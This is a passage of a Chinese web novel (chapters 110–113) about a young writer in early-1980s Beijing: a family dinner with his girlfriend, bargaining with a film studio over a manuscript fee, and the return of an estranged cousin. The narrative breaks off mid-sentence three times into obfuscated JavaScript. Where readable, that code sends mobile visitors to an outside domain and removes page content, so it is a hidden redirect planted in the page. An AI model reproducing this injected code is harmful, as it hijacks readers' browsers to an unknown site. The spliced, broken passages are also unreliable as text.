见李健群点头称是,高跃民又说道:“姑娘快坐,你小子还愣着干嘛,给健群拿水果沏茶啊,用我那盒正山小种。” 今天下午刚开完一个会,闺女就找到了办公室里。 他听说儿子谈恋爱了,对象是《瞧这一家子》里的小红,顿觉惊喜万分。 老高家千顷地一根苗,他比谁都盼着早点迎来下一代。 再说李健群他见过,对姑娘印象大好,甚至觉得自己儿子那德行,有点配不上这么好的姑娘。 当初老婆跟自己说,瞧着这俩孩子对对方都有点儿意思时,高跃民还不怎么信。 现如今儿子把姑娘领家里来了,可把他高兴坏了。 高远撇着嘴去给李健群泡茶,心里嘀咕着,你那盒正山小种平时我别说喝点儿了,碰一下你都支棱眼珠子,健群来了,你磕巴都不打一个就让泡一杯。 高教授你很双标啊。 高雅拉着李健群去沙发那边。 李健群却说道:“阿姨,我帮您做饭吧。” 张雪梅越发喜悦,“不用不用,厨房小,站不开太多人,让小远帮我就可以了,你和小雅说说话,也可以去参观参观小远的卧室。” 高远泡了三杯茶,放到茶几上。 见两人坐下,他说道:“你们聊着啊,我去厨房帮忙。” 李健群微笑着点头,望向他的目光波光粼粼的。 “健群,我弟做饭可好吃了,尤其是那道拿手菜红烧鱼,色香味俱全,酒店的大厨都不如他做的好吃。”高雅拉着李健群的手叽叽喳喳。 李健群拢拢碎发,笑着说:“我只吃过高远煮的面条,榨菜肉丝面,煮得差不多了,往里面撒一把小青菜,味道也特香。” 高雅笑道:“是吧,他将来就算是不搞文学创作了,当个厨子也饿不死。” 这时,高跃民也被高远从厨房里赶了出来。 李健群见茶几上摆着棋盘,好奇地问道:“叔叔喜欢下象棋呀?” 高跃民坐下后笑道:“我啊,没啥特别的爱好,就两个,一是钓鱼二是下棋。健群也会下象棋吗?” 李健群点头道:“我爸也爱下棋,我就跟他学了一段时间,但棋艺不精,勉强算是入门水平。” 高跃民哎了一声,道:“陪叔叔杀两盘儿?” 李健群刚来时还有点紧张,这会儿完全放松下来了,道:“您别嫌弃我是个臭棋篓子就成。” 高跃民呵呵笑着从茶几底盘里把香气喝取出来,道:“我水平也一般,就是个爱好,没啥深入的研究。来来来,红先黑后,你先来。” 第110章 臭小子,你可真是个钱串子!(继续求票) 二十分钟后,在厨房里忙活的母子二人就听到外面传来大呼小叫。 “高叔叔,您怎么能悔棋呢?落子不悔这是最基本的象棋规则。” “叔叔眼拙,没看到你这一步,就悔一次,就悔一次。” “好吧,就让您一次。” “诶等等,我再想想啊,走这步就别马腿了,我这子儿刚落下,现在撤回来这不算悔棋吧?” “您这都悔三次了,随意吧,您高兴就成。”李健群放弃了抵抗。 高跃民老脸通红,居然下不过一个小姑娘,丢人了。 厨房里,母子二人哈哈大笑起来。 为了招待李健群,张雪梅下午专程跑了趟菜市场,买回来两样新鲜海鲜,一条鲤鱼和三条带鱼。 这年头儿,想吃点儿螃蟹、海参、大鲍鱼你就别做那个梦了。 大冷天儿的,有颗白菜有几个土豆子凑合凑合就得了。 不过今晚的菜还是很丰盛的。 张雪梅夏天的时候学了一招,腌西红柿。 她买来20斤西红柿,洗净后放在篦子上晾干水分,然后在每个西红柿上面打十字花刀,烧一锅热水给西红柿去皮,切块后装进干净的罐头瓶子中,拧紧瓶盖,放在阴凉干燥的地方储存起来。 所以今天的餐桌上,多了一道西红柿炒鸡蛋。 这让李健群瞧着稀奇,大冬天的,能吃上一口西红柿炒鸡蛋可太难得了。 对门沈丽茹婶子送过来一碗小鸡炖蘑菇,一道油炸豆腐丸子。 高远红烧了鲤鱼,油炸了带鱼。 再加上老妈炒的白菜帮,酸辣土豆丝,蒸的鸡蛋羹,这顿晚饭堪称豪华、奢侈。 多少人家过年都不敢这么吃。 李健群感受到的是高家人对她满满的关怀和爱戴。 因为她碗里的菜已经摞得老高了,张雪梅还一个劲儿给她夹,轻声细语说:“多吃点儿多吃点儿,你这孩子太瘦了,得多补充营养才行。 今后每周必须来家一次,阿姨给你做好吃的。” 李健群内心感动不已,连连点头。 高远端起酒杯说道:“高教授,我敬您一杯,祝贺您荣升。” 高跃民咧嘴一笑,也把酒杯端了起来,道:“知道了啊。” “嗯,听对门儿长征叔说的。” “长征在这一年里工作也很努力,这次评级,也评上了副高。” 爷俩喝了一杯。 李健群也端起装满北冰洋汽水的杯子,笑吟吟望着高跃民说道:“叔叔,我也敬您和阿姨一杯,感谢叔叔阿姨对我的盛情款待,二位长辈辛苦了。” 高跃民和张雪梅眼里都有隐藏不住的喜悦,痛快地跟她喝了一杯。 这顿饭吃到八点才结束,打扫完战场后一家人坐在沙发上聊天。 高雅对李健群说:“今晚别走了呗,跟我睡一屋。” 李健群立马摇头道:“不了不了,天色还早,待会儿我回厂里住就行。” 张雪梅问了一句,“健群,厂里没给你分配房子吧?” 李健群笑着说:“没呢,我才刚进厂,严格说起来还在实习期,是不具备分房资格的,所以只能住招待所,跟其他三位女同志睡一屋。” 张雪梅叹息道:“这条件也够艰苦的。” 高跃民点头道:“可不是嘛,北影厂我看了,住宿条件就那样,几栋筒子楼,每间房不超过28平米,公用卫生间,连个厨房都没有,家家户户都在楼道里做饭。” 父母一唱一和的,倒让高远生出了买房的念头来。 一来是解决健群的住房问题,二来,自己也有个独立空间。 但是这年头儿根本没有商品房出售。 不对,有。 最早的商品住宅性质的,且对外出售的,是位于花园村的华侨公寓。 从这个名字上就可以看出,他面对的销售对象是华人华侨群体。 没有侨汇券和叨乐,你连购买的资格都冇。 再一个,就算不差钱儿,华侨公寓的住户也极少有人对外出售。 后面再开发房地产就是方庄了。 所以,高远想要买,就只能买四合院了。 **,刚住上楼房才一年,再买四合院,钻公厕倒尿盆儿,这不又一夜回到了解放前了么。 他突然想起一件事儿来,问老爸道:“爸,咱家那院子现在是什么情况啊?” 高跃民被儿子冷不丁一问,愣了一下,然后苦笑着说道:“啥情况?还是老情况呗。 我这一年可没少跑,组织上已经答应把咱家那院子还回来了,你立伟哥和凤芝嫂子也跟单位申请了住房搬走了。 就是老刘家和老韩家死赖着不肯搬,我给这两家做过工作,可人家就是一口咬定,他们住在院子里是合理合法的,是组织安排的,想让他们搬家也行,让我去他单位给他们要房去。” 张雪梅愤懑道:“那两家人什么德行小远你又不是不知道,刘婶儿死不讲理,韩家大姑娘就是个泼妇,你爸还真不好逼得太紧了,这二位要是撒起泼来,让街坊邻居们看笑话的是你爸。” 高远冷笑一声,问道:“我小叔那么个精明的人,就没啥办法治治他们么?” 高跃民说道:“你小叔不是被王导演派到中宁县出差去了么,一个多月了,我连他的面儿都没见着。” 高远把这茬给忘了,他最近也没在厂里见过小叔,听说是被王好为派到《李志远》的拍摄地中宁县联系场地去了。 “得嘞,这事儿您二位甭管了,我想想办法请那两家人滚蛋吧。” “臭小子,你可别胡来啊,犯法的事情可不能干。” 李健群也忧心忡忡握住高远的手,说道:“阿姨说得对,你可千万不能头脑一热就犯浑,咱有大好的前途呢,不能因为一点跟人置气的小事就给葬送了。” 高远反握住她的手,微笑着说:“你放心,我可没那么傻,我无论做什么事情都会在法律允许的范围内,不会逾越的。” 李健群轻声说道:“嗯,这我就放心了。” 夫妻俩对视一眼,皆看出彼此眼中心满意足的神色。 老两口对这个未来的儿媳妇可太满意了。 总算有个人说的话那小子能听进去了。 高雅却直撇嘴,弟弟,你过分了啊,大庭广众之下秀恩爱,你让姐这个老姑娘还怎么活? 李健群又坐了片刻才起身提出告辞。 张雪梅让她稍等一下,转身回卧室,拿了一个红包塞进她的小手中,不由分说道:“孩子,这是规矩,咱老BJ人讲老礼儿,你头次登门,这个红包必须得收下,这是叔叔阿姨给的见面礼。” “阿姨,这我真不能收。”李健群慌张地推拒着,她一摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尤其是故事里的打斗场面描写,简直精彩至极。 高远放心了,给顾小白打了个电话,告诉他马上把稿子寄过去。 顾小白也很够意思,立马说:“您的稿费我来代签,下午就把汇款单寄给您。” 这部小说三万字,稿费到手210,高远和老梁半儿劈,一人挣了105。 你以为这就算了吗? 这才几个钱? 高远又复印了一份,马不停蹄去了汪厂长的办公室,见了面先送上一盒正山小种。 嗯,偷高教授的。 然后拿出这个中篇。 汪阳嗤了一声,就知道这孙子又亲至又送礼的一准儿没憋好屁,不过还是那把稿子拿过来看了看。 半晌后,他抬起头,说道:“1500,行,我就要,不行就拉倒。” “不行,最少2000,其实我完全可以压一压的,等《太极宗师》拍完一上映,我这个故事就会被各家制片厂抢破头。”高远还是老一套,对老厂长实行威胁**。 汪阳无奈地叹声气,道:“1800,不能再多了。” 高远仍旧笑嘻嘻的,手也没闲着,已经伸向稿子了。 汪阳被他气得没着没落的,啪地摁住稿子,俩眼珠子精光爆闪,嘴里往外喷着唾沫星子道:“臭小子,你可真是个钱串子!2000就2000,我给你开批条还不成么!” 第111章 少林和武当(求好评,求必读票) 老头儿把写好的稿费审批条递给高远。 高远一看,2000快到手,顿时喜不自胜。 刚打算去财务领钱,孙文今和**雄两位副厂长联袂而至。 孙文今快步走过来,狠狠一拍高远的胳膊,咧着嘴笑道:“坏小子,你又来讹诈老同志啦?” **雄把一瓶牛奶放在汪阳办公桌上,也开他的玩笑:“我听说你小子把健群追到手了?可惜了了,一朵鲜花插牛粪上了。” 高远翻着白眼儿说道:“我在二位领导眼里人品就这么差啊?这又是讹诈老同志,又是哄骗小姑娘的。” 孙文今和**雄异口同声道:“没错儿,你人品就这么差。” 气的高远拿起瓶子,拧开瓶盖,咕嘟咕嘟往嘴里灌牛奶。 “诶诶,那是我给老伴儿定的奶,你个臭小子忒不要脸了,咋说喝就全给喝了呢。”汪阳吹胡子瞪眼。 骂吧,你不管咋骂,反正我喝完了。 高远一抹嘴,把奶瓶子放在桌子上,说:“领导们有要事相谈,我先撤了啊。” **雄忙说道:“你别走,这件事情你听听也好。” 高远心说,能让两位副厂长一起过来觐见厂长谈的工作,事情一定不小,他问道:“合适吗?” “跟你多少能扯上点儿关系,我们要起义了,要推翻资产阶级的统治,打算去告状,去文化部告状!”**雄愤愤然说道。 孙文今也是一脸严肃。 高远明白了,去文化部告状就是去找自己大伯告状,这事儿还真跟自己有点关系。 “告谁啊?”他问道。 汪阳站起来,说:“来吧,去沙发上坐着说。” 四人走到沙发前各自落座。 **雄哼哼了一声,说道:“告谁?告中影啊!” 高远俩眼珠儿一转,忽然想起一件事儿来,便谨慎地问道:“是因为电影制度改革一事?” **雄目光一亮,探着身子说道:“原来你小子知道啊,没错儿,就是因为电影制度改革之事。这不到年底了么,财务上正在盘账。 一盘算今年厂里的项目收支,没挣到钱还赔了点儿。 财务负责人找到我这里来抱怨,中影他妈太欺负人了,每部片子的成本就给70万,多一分都不掏,多支出的部分就得厂里自己想办法补贴。 去年咱们厂一共拍摄生产了10部影片,有三部片子超支了,财务科长费尽心思拆了东墙补西墙才算把国家定的指标勉强完成。 我不瞒你说,《李志远》这部片子为什么停机了,就是因为厂里没钱了,给中影打报告提前申请明年的拍摄资金,被中影驳回了!” 孙文今接茬道:“现如今,电影生产的成本逐年增高,中影这帮臭大粪的把发行一部影片的利润大头都拿走了,连口剩饭都不给我们留,这让我们今后怎么活? 所以,电影分配制度必须要进行改革,还要进行彻底的改革,要不然,厂里这1000多号职工迟早连饭都吃不起了。” 高远感到震惊,两位副厂长说的这些事情,是他以前没有关注到的。 “中影这么强势吗?”他自问自答道:“我只知道中影是负责电影发行的公司,还以为他们发行制片厂生产出来的影片,应该会给制片厂一定比例的分成,听您二位一说,合着他们是一次性买断啊。” **雄点头道:“可不是一次性买断么,这帮人独断专横习惯了,我们想沟通,让他们适当提高收购价格,这样大家的日子都好过,可人家想都不想一口就回绝了。 **,逼得我们只能去文化部告状! 今儿过来,就是征求一下老厂长的意见,您兹要同意,我们就上书,拼**也要把中影垄断发行这个口子打开!” 汪阳是个老**不假,38年就去延安了,但他也不保守,是个坚定的改革派。 他的眉头一直紧紧皱着,听完**雄和孙文今这番话后,思考了一番,一拍沙发扶手说道:“既然沟通不了,你俩也下定了决心,那就上书文化部领导,要求对电影发行政策进行改革! 另外,牵扯这个问题的并不止咱们一家制片厂啊,上影、长影、峨影、珠江就不存在这种情况吗? 我想,他们面临的问题比我们还严重! 依我之见,大家若是能联合起来共同向上级领导反映这个问题,力度会更大一些。” “老厂长,您这是要搞串联啊。”高远笑着说道。 汪阳也一乐,温和说道:“这可不能叫搞串联,这叫为了一个共同的目标携手共进!” 高远当然知道这是牵扯到电影改革的大事了,自己能有幸参与其中,足以看出三位领导对自己的信任。 他考虑了考虑,沉声说道:“领导们,我明白您三位的意思了,放心,这事儿我会提前跟我大伯打招呼的,让他有个思想准备。” 汪阳满意地点点头,欣慰看着他,问道:“小远子,不为难吧?” “这又什么好为难的,我勉强也算是厂里的一份子,这么重要的工作,我给厂里出份力也是应该的。”高远坦诚道。 “我就说,远子是个明事理的好孩子,颇有些诸葛一生唯谨慎,吕端大事不糊涂的气概!老厂长,你这个眼力见儿我是彻底服气了,看人一看一个准。” 孙文今毫不吝惜对高远的欣赏,先狠狠地夸了他一番,又对汪阳竖起了大拇指。 **雄也笑着说道:“自打小远子来厂以后,连厂里都有了一些较大的变化,最令我印象深刻的是,一部电影从筹备到开拍,大大缩短了时间,并且拍摄出来的成片效果相当不错,这小子带动的是工作效率的提高啊。” “二位领导过誉了,我只是做了一点力所能及的事情而已,当不得领导这般夸奖。”高远忙谦虚了一句,接着问道:“领导们,我能问一下,您几位打算跟我大伯谈哪些方面的问题吗?” 事关自个儿和大伯如何透底,他必须把这些问题搞清楚才行。 汪阳斟酌斟酌,说道:“主要牵扯到两个方面,首先,我们会提出要求,让中影把发行权让出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402292|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让制片厂拥有独立发行影片的权力。 如果这个要求无法达到,那么我们就退一步,中影对每部影片的收购价格必须上调,且制片厂自己做预算,每部影片的制作费用,我们上报多少中影就得批多少。” 高远点头表示明白,又问:“那打算什么时候跟高部长见面呢?” 汪阳笑道:“这可由不得我们说了算了,得看高部长什么时候能腾出空来接见我们。” “您可别这么说,您是老**了,高部长见了您都得尊称一声老**。” “那我怎么没听你小子喊我一声老**呢?” “咱爷儿俩谁跟谁,不讲那些虚的。” “去你的吧!没脸没皮的玩意儿!” 孙文今和**雄两人笑坏了,老孙头儿还伸手锤了高远一下。 高远领了任务,也不久留,起身告辞,出门后奔财务科,眼睁睁看着财务科长愁眉苦脸地数出200张10元大票,装进一个大信封后满脸不舍地递到自己手里。 厂里是真穷啊,瞧,都把财务科长逼成什么样儿了。 厂长办公室里的谈话还在继续。 **雄对汪阳说道:“对了,香港的傅奇同志来电话了,说是接到廖公的指示,要筹拍《少林寺》,我琢磨着,这有点儿要跟小高的《太极》打擂台的意思啊。” 汪阳诧异地张着嘴,片刻后笑了,他说道:“前阵子我跟廖公见面,廖公提起来,中国功夫唯少林与武当,当时我只当一句感慨话听。 现在琢磨过来了,怕是打那天起,老人家就萌生出少林、武当一起拍的念头了。 傅奇同志还说什么了吗?” **雄笑道:“他说,长城已经接下了这个任务,并决定由张鑫炎同志来担任《少林寺》的导演,过完年,张导会回京一趟,看景选角,提前做些筹备工作,傅奇同志希望得到咱北影厂的支持。” 孙文今一撇嘴,愤然道:“支持个六儿!明知道人家是来打擂台的,还给他创造便利条件,这跟通敌叛变有何区别?又让咱跟小远子如何交代?” 老同志是个护犊子的,一点都看不得远子受委屈。 汪阳开怀大笑,点着孙文今说道:“你这个老家伙啊,心胸不要这么狭窄嘛,傅奇也是自己的同志,该帮还得帮。 至于说小远子,你也不用担心,他工作效率杠杠的,不信你看着吧,不出半年,《太极》就能拍完。 我倒是觉得,这擂台打得有点儿意思。” 孙文今也笑了,道:“这话没错,小远子的工作能力确实强,让人很放心啊。” 小远子领了稿费,找到梁晓声,给了他1105元。 梁晓声只肯要105,厂里给的那1000块他死活不肯接。 高远塞进他手里,严肃地说道:“拿着,说好了这是咱俩共同创作的,稿酬平分,你不能让我言而无信吧。” 梁晓声感动得热泪盈眶,也不再跟他客气了,把钱接过来揣好,拍拍口袋叹息一声道:“今年总算能过个肥年了。” 第112章 老高家的糟心事儿 转眼到了元旦这天。 一大早,高远就奉老妈的命令,把李健群接回家里来过节。 小姑也从临安回来过寒假了,早早过来帮忙。 听侄女说,大侄子谈对象了,高跃然很惊讶,见到李健群,她呀了一声,说:“是小红啊。” 小红这个角色深入人心。 李健群羞涩地喊了声小姑。 高跃然眉开眼笑,拉着她叽叽喳喳。 小姑学习很刻苦,放暑假都没回来,留在学校里钻研功课。 都说三个女人一台戏,高跃然、高雅和李健群凑在一起,欢声笑语、高谈阔论能拍成两台戏。 久违露面的高跃林也过来了。 高远凑近了他提鼻子一闻,道:“你飞回来的?身上居然没有味儿。” “快得了吧,你当飞机票是个人就能买啊?我挤火车回来的,到家后先去厂里泡了个澡,洗干净了才敢过来的,哎哟喂火车上那个味儿啊。 居然有个老农民把装着两只大鹅的竹篓子带上了车,那俩大鹅拉得满地都是,我现在想起来都,呕……” 画面太美,高远不敢想象。 高跃林拉着他,把他拽进屋,关上房门后低声说道:“你猜我在火车上碰到谁了?” 高远翻个白眼儿说道:“这我上哪儿猜去?” 高跃林吐出俩字儿来:“高山。” 咝! 高远倒吸一口凉气,惊恐道:“他来京了?” 高跃林点点头,道:“那孙子瞧见我后,主动跟我套磁。我都不爱搭理他,可是架不住他跟个苍蝇似的老在我耳边嗡嗡,我也就有一搭没一搭地听着。 听他那意思,这次回来是找你大伯的,还说什么自己不是人,不配为人子,辜负了你大伯多年来对他的教育,在你大伯最艰难的时候离他而去。 这次回来要向你大伯诚恳地承认错误,请求你大伯的原谅,恢复父子关系。 哎呀,说的那叫一个情真意切、感天动地,差点儿没把你小叔我给感动哭了。” 高远哼哼冷笑道:“这父子关系是他想恢复就恢复的?这不是他在我大伯有难的时候贴大字报揭发自己亲爹的时候了,那就是个白眼狼! 小叔,这事儿我爸知道吗?” 高跃林摇摇头,道:“我还没顾上跟他说呢,我连你大伯都没通知。” 高远一拍大腿道:“那就坏菜了!我大伯向来重情重义,这万一被高山堵家里,念在以往的父子情份上,说不定心一软真就重新接纳他了。” 高跃林猛地站起来踱着步子,焦急道:“那可怎么办?” 高远拉开门出去了,把在厨房帮忙洗菜的老爸喊出来,拽进自己房间,将事情一说。 高跃民也愣住了,脸上挂满了寒霜,你这拳头狠狠锤了桌面一下,道:“不用问,这一定是苏爱玲那个女人指使的! 她这是知晓了你大伯恢复了工作,当了大官,对当初的所作所为心生悔意,又做起了跟你大伯恢复关系回来当官太太的美梦! 所以,先打发高山回来探探你大伯的口风! 这个女人,简直无耻至极!” 高远见老爸呼哧带喘的,怕他心脏承受不了刺激,连忙上前顺着他的后背,轻声道:“爸,您先别着急,别生这么大的气。当务之急,是想一想如何解决这个问题。” 高跃林也宽慰道:“是啊二哥,身子骨要紧,你千万沉住气,不能动火啊。” 高跃民看看儿子,又瞅瞅弟弟,感受到两人的关切,深感欣慰,叹声气后说道:“你们俩说得没错儿,当务之急是解决问题。” 他抬起手腕看看表,蹙着眉说道:“我昨天跟你大伯说好了,让他今天早点过来,这都快十一点了,说不定……” 这时候,门铃响了。 高远急切地拉开房门跑了出去。 把门打开,见高跃华满面笑容出现在门外。 高远抓着大伯的手,忙说道:“您怎么才来啊,一个人来的?” 高跃华边往里走边笑道:“我不一个人来,我还能给你带个大娘来啊。” 没被高山堵家里,还有心情开玩笑,高远就放心了。 但也不能完全放心,他低声说道:“大伯,先去我屋里坐会儿吧,我有事儿要跟您说。” 见他如此郑重,高跃华愣了一下,然后点头,跟外面三个姑娘打过招呼后跟随高远进了屋。 屋里的兄弟俩见大哥到了,也稍稍放下了悬着的心。 高跃民把椅子让给大哥,问道:“大哥没事儿吧?” 高跃华坐下后一脑门子问号,“没事儿啊,你们怎么了,一个两个的咋都这么奇怪呢?” “大哥,我在回来的火车上碰见高山了。”高跃林注视着他,低声说道。 高跃华的右手抖了一下,喉结也动了动,双眼更是猛然瞪起来。 紧接着,他笑了,笑容中透彻一股子苦涩和愤懑,道:“来找我下跪道歉,请求恢复父子关系的吧?” 爷儿仨都傻眼了,大伯/大哥是个明白人,这个态度也有点耐人寻味。 高跃林点头道:“是这个意思,一路上我净听他跟我絮叨当年多对不起你了,说到激动处还眼泪叭嚓的。” “演的。”高远出声说道。 高跃华看他一眼,道:“当你大伯心里没数么,我当然知道他是演的,我还知道他来京城,是苏爱玲那个女人在背后怂恿的,他扮演了一个探路者的角色啊。 只要我答应同他恢复父子关系,过不了几天,苏爱玲就可以顺理成章回京来,跟我谈复婚一事了。” “您是个明白人。”高远笑着说道。 高跃民急切地问道:“大哥,你是怎么打算的?” 高跃华立马说道:“高远,把你妈、你小姑、你姐都喊进来,大伯有话要说。” 高远没马上走,坦白道:“外面那姑娘叫李健群,是我女朋友,我俩是奔着结婚去的。” 高跃华哈哈大笑道:“我侄媳妇儿啊,那就一起喊进来吧。” 高远乐了,跑去外面喊人。 片刻后,全家都集中在了高远这间小卧室中。 李健群神色紧张,紧紧靠着高远,纤纤玉手抓住他的大手。 坐在椅子上这个中年男人她是清楚其身份的,文化部长大人,不怒自威的正部级高官,也是小远子的大伯。 张雪梅也不清楚大伯子把大家伙都喊进屋里来有什么话要说,征询的目光打量着高跃民。 高跃民微微摇头,示意她听着就好。 见人到齐了,高跃华吐出一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402293|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,方才缓缓开口道:“在场的都是一家人,是我高跃华至亲的人,我就有啥说啥了。 刚才,我听老三说,他在回京的火车上碰到了高山。 高山来京的目的不用我说我想你们也能猜出来。 我表达一个意思吧,当年在我遭受磨难的时候,那娘儿俩既然选择了跟我划清界限、断绝一切关系,还写大字报主动揭发我的错误。 那么,现如今我解放了,再次受到了组织上的重用,她们也就别再奢望我的原谅,更不要妄想着沾我的光了。 这件事情呢,是我的最终决定,但你们是我的亲人,我有义务,也必须要知会你们。 还有最重要的一点,我要提前提醒大家。 苏爱玲那娘儿俩,做事情向来不达目的不罢休,甚至为达目的不择手段。 将来她们娘儿俩无论谁找到你们,无论向你们提什么要求,你们都不要答应。 只要你们答应一次,她俩就会得寸进尺,向你们提更多要求。” 高跃然一听这话,气得脸都红了,愤愤然道:“高山那个小王八蛋,怎么还有脸回来啊?他最好请求老天保佑别让我碰到他,万一被我碰到了,我恁不死他的! 还有小哥你,那小王八蛋当初对咱大哥做得有多绝你心里没数儿么? 既然在火车上遇见了,你怎么不狠狠抽他一顿耳刮子啊?” 高跃林苦笑道:“你以为我不想呢,扒他一层皮的心思我都有,但是跟我一起去中宁县出差的一共四个人,当着同事的面抽他,你是想让同事们把我押送到**局去吗?” 高远冷哼一声,道:“那下了火车后呢?打黑枪的事儿您以前可没少干吧?” 被侄子揭了短,高跃林脸皮子一红,道:“我这不是赶着回来过节么。” “行了,你们几个就别争论这个了,那小兔崽子不忠不孝,不仁不义,我兹当没他这个儿子就是了,为了给我报仇,把你们自个儿搭进去,你让你大哥,让你大伯今后还怎么活人? 这件事情到此为止,今后谁都不许提了!”高跃华一言而决。 高跃民点了根烟抽着,忧愁道:“就怕高山那孩子找不到你不死心啊,还有苏爱玲,大哥你刚才也说了,这娘儿俩没一个省油的灯,既然知道你恢复了工作,在你身上讨不到一点好处怕是不会善罢甘休的。” 高跃华闻言也皱起了眉头。 高远嘿嘿笑道:“解决问题的办法很简单嘛。” 全家人都看向他。 张雪梅瞪他一眼,没好气儿地说道:“臭小子,你有什么办法赶紧说,拿腔拿调的,你比你大伯官威还大。” 这话把高跃华都说乐了。 高远也嘿嘿一乐,道:“大伯,您进门时怎么说的来着?要给我带个大娘来是吧? 我还记得您刚解放那会儿我说会给您养老送终,被您一个脑瓜崩弹在我脑门子上,您那一脸嫌弃的样子啊,埋怨我耽误您找老伴儿。 话说这都一年多了,您那老伴儿找得咋样了?就没碰上个情投意合的吗? 您兹要是一领证,问题不就解决了么,还怕苏爱玲娘儿俩过来闹? 敢闹一个试试的,我还真就不信了,这娘儿俩就不怕**铁拳砸到脑门子上!” 第113章 王八蛋找上门 高跃华老脸一红,怒瞪高远一眼,声音有些许的颤抖,道:“你这都是什么鬼主意啊?就不能出个靠谱点儿的?” 高院却看出一丝不同寻常来,笑着问道:“大伯,您该不会真找到合适的了吧?” 高跃民也好奇地问道:“大哥,快说说,我未来的大嫂在哪个单位上班?长得漂不漂亮?” 全家人的瞳孔里都闪烁着跃动的光点,望向高跃华。 张雪梅更是轻咬着下嘴唇,在唇瓣上留下浅浅的月牙印,嘴角微微上扬,八卦之火熊熊燃烧。 高跃华遭不住了,老脸越发红润,支支吾吾道:“哎呀,你们一个个的,怎么都跟胡同里的闲散老娘们儿一般,这么好打听事儿……好吧好吧,我交代还不成么。 前阵子廖公牵线,给我介绍了一位女同志,这位女同志叫齐慧芝,46岁,在团中央**处工作。 我们两个见了一面,聊得还不错。 通过一段时间的接触我初步了解了她个人和家庭的基本情况,慧芝同志是明珠人,大学学历,有过一段婚姻,丈夫牺牲在淮海战役的战场上后,就一直没再结婚。” 李健群唏嘘道:“是名烈属啊。” 高跃华看她一眼,笑了,点头道:“没错,是名烈属。” 李健群吐吐舌头,小脸一红。 高跃华继续介绍道:“慧芝同志出自书香门第,父亲生前当过多年私塾先生,解放后担任过明珠市教委副主任、同济大学副校长等职。 母亲和雪梅是同行,不同的是,人家出自于中医世家。 老人家还健在,今年已经76岁了。 她上有一个哥哥,下有一个妹妹,都已成家立业,家庭幸福。” 高远乐道:“您了解得很详细啊,咱家的情况您向人家介绍过没?” 高跃华横他一眼,道:“这我能不介绍么,我当然介绍过了。” “大哥这是老树发新芽了。” 高跃林调侃了一句,引得大家都笑了起来。 高跃民笑道:“我看小远这主意出得妙,大哥,既然你俩相处得不错,对彼此都挺满意的,不如早点把证领了吧,只要领了证,我想,苏爱玲娘儿俩也就死心了。” 张雪梅点头道:“对,早点领证就能早点避免一些不必要的麻烦。” 话音刚落,砰砰砰地砸门声响了起来。 紧接着,一个声音传了进来:“小远,开门,我知道你在家,我是你山子哥,赶紧给我开门!” 坏菜了! 这王八蛋怎么找到这里来了? 高远的脸色能刮下一层黑灰来,他看看老爸,低声说道:“这家伙还真是神通广大,居然找上门来了,爸,怎么办,您拿个主意吧。” 一家人全都傻眼了。 剧烈的敲门声仍在响着,伴随着脚踹门发出的咚咚声,和高山的嘶吼:“高远,装死没用的,我知道,我爸就在你家里,你要是再不给我开门,我就踹门了!” 高跃华腾的一下站了起来,面色严峻道:“既然找上门来了,那就见见吧,把话说开了也好,省得这个小兔崽子老是残存着不该有的念想! 小远,去开门!” 高远答应一声,快步走出去,把房门打开,却堵在门口,目光阴鸷盯住高山,声音冰冷道:“**咋还有脸来?” 高山1米75左右的个子,长得倒也仪表堂堂,穿一件破棉袄,一条绿军裤,脚上蹬着双老棉鞋,鞋帮子都开线了,露出里面的**袜子。 他梗着脖子说道:“我为什么没脸来?我来找我爸有错吗?你让开,别逼我跟你动手啊!” 这时候,小叔小姑姐姐齐刷刷走过来。 高雅可不是个好脾气的,她拧着眉瞪着眼大声喊道:“王八蛋,你动我弟一根手指头试试看!老娘今天不卸你一条腿都算对不起学校老师一年来对我的精心培养!” 高跃然往高山面前一站,双眼中愤怒的小火苗刷刷飙射到他脸上,冷声说道:“你不是已经改姓苏了吗?既然姓了苏,就跟高家没有一点关系了,你还来干什么?” 高山脸一红,低着头说道:“小姑,我错了,当年我还小,全是我不对,我知错了,我是来给我爸道……” “你不要叫我小姑!我没你这么个忘恩负义,连自己亲爹都敢出卖的侄子!”高跃然气愤地打断了高山的话。 “道歉?道**!”高跃林更是爆了粗口,“小子,在火车上我给你留了面子的,你也应该知道我是个啥人,要不然,下了火车你觉得你能全须全尾地进这四九城来吗?” “小叔我……” “老三小远,你们让他进来吧。”屋里,高跃华喊了一句。 高远这才让开身子。 高山快步走进去,一眼瞧见沙发上并排坐着三个人,老爸居中,二叔二婶分别坐在他身边。 这货走到高跃华跟前,扑通一声跪倒在地,抱着他的双腿哭嚎起来:“爸,儿子不孝,儿子给您认错来啦,您可让我好找啊。 儿子去了三号院老宅,听邻居王大叔说您早就不在那儿住了,我又去了新开路胡同,这才打听到我二叔的住址…… 儿子总算见到您了,这些年,儿子想您啊,儿子也对不起您,您原谅儿子的不孝,今后就让儿子在您身边好生伺候您吧。” 可谓声泪俱下,感人肺腑。 